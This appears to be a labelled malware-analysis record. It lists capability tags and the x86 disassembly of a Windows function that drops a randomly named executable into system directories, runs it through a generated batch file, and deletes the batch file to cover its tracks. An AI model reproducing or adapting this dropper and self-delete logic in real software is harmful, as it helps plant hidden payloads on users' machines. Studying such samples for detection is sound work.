Function at 0x422cb0
Capabilities:
Create process on windows
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423d61
mov eax, dword fs:[0]
push eax
sub esp, 0x4d8
mov eax, dword [0x42dbf8]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4e0], ecx
push 5
mov ecx, dword [ebp - 0x4e0]
call fcn.00422a60
add eax, 3
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x18], 0
jmp 0x422d09
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x43c]
jge 0x422d30
push 0x1a
mov ecx, dword [ebp - 0x4e0]
call fcn.00422a60
add eax, 0x41
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x434], al
jmp 0x422d00
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x434], 0x2e
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x434], 0x65
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov byte [ebp + ecx - 0x434], 0x78
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x434], 0x65
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x434], 0
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
push 3
mov ecx, dword [ebp - 0x4e0]
call fcn.00422a60
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0
je 0x422dc4
cmp dword [ebp - 0x4e4], 1
je 0x422de1
cmp dword [ebp - 0x4e4], 2
je 0x422dfe
jmp 0x422e19
lea ecx, [ebp - 0x434]
push ecx
push str.C:windows_s
lea edx, [ebp - 0x424]
push edx
call fcn.0040e69b
add esp, 0xc
jmp 0x422e19
lea eax, [ebp - 0x434]
push eax
push str.C:windows_system32_s
lea ecx, [ebp - 0x424]
push ecx
call fcn.0040e69b
add esp, 0xc
jmp 0x422e19
lea edx, [ebp - 0x434]
push edx
push str.C:windows_system_s
lea eax, [ebp - 0x424]
push eax
call fcn.0040e69b
add esp, 0xc
mov dword [ebp - 0x18], 0
jmp 0x422e2b
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
movsx eax, byte [ebp + edx - 0x424]
test eax, eax
je 0x422e50
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov al, byte [ebp + edx - 0x424]
mov byte [ebp + ecx - 0x21c], al
jmp 0x422e22
mov ecx, dword [ebp - 0x18]
mov byte [ebp + ecx - 0x21c], 0x2e
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], 0x62
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x21c], 0x61
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov byte [ebp + ecx - 0x21c], 0x74
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], 0
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
push 0
lea edx, [ebp - 0x424]
push edx
mov ecx, dword [ebp - 0x4e0]
call fcn.00422990
movzx eax, al
test eax, eax
jne 0x422ede
mov ecx, dword [ebp - 0x4e0]
cmp dword [ecx + 0x157c], 0
jne 0x422ee3
jmp 0x423043
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x422f0e
cmp dword [ebp - 0x10], 0xffffffff
jne 0x422f13
jmp 0x423043
push 0
lea eax, [ebp - 0x438]
push eax
mov ecx, dword [ebp - 0x4e0]
mov edx, dword [ecx + 0x157c]
push edx
mov eax, dword [ebp - 0x4e0]
mov ecx, dword [eax + 0x1578]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x4dc]
call fcn.004217e0
mov dword [ebp - 4], 0
mov dword [ebp - 0x440], 0
push 4
mov ecx, dword [ebp - 0x4e0]
call fcn.00422a60
add eax, 1
mov dword [ebp - 0x444], eax
lea ecx, [ebp - 0x424]
push ecx
lea ecx, [ebp - 0x4dc]
call fcn.00421bf0
movzx edx, al
test edx, edx
je 0x422fbe
push 0xf21d
lea ecx, [ebp - 0x4dc]
call fcn.00421d00
movzx eax, al
test eax, eax
je 0x422fbe
lea ecx, [ebp - 0x424]
push ecx
lea ecx, [ebp - 0x4dc]
call fcn.004215b0
push 0x428750
lea edx, [ebp - 0x21c]
push edx
call fcn.0040e815
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x423031
lea eax, [ebp - 0x424]
push eax
push str.start__s_n
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040e828
add esp, 0xc
lea edx, [ebp - 0x21c]
push edx
push str.del__s_n
mov eax, dword [ebp - 0x14]
push eax
call fcn.0040e828
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040e9ea
add esp, 4
push 0
push 0
push 0
lea edx, [ebp - 0x21c]
push edx
push 0x428768
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4dc]
call fcn.004217b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0040e454
mov esp, ebp
pop ebp
ret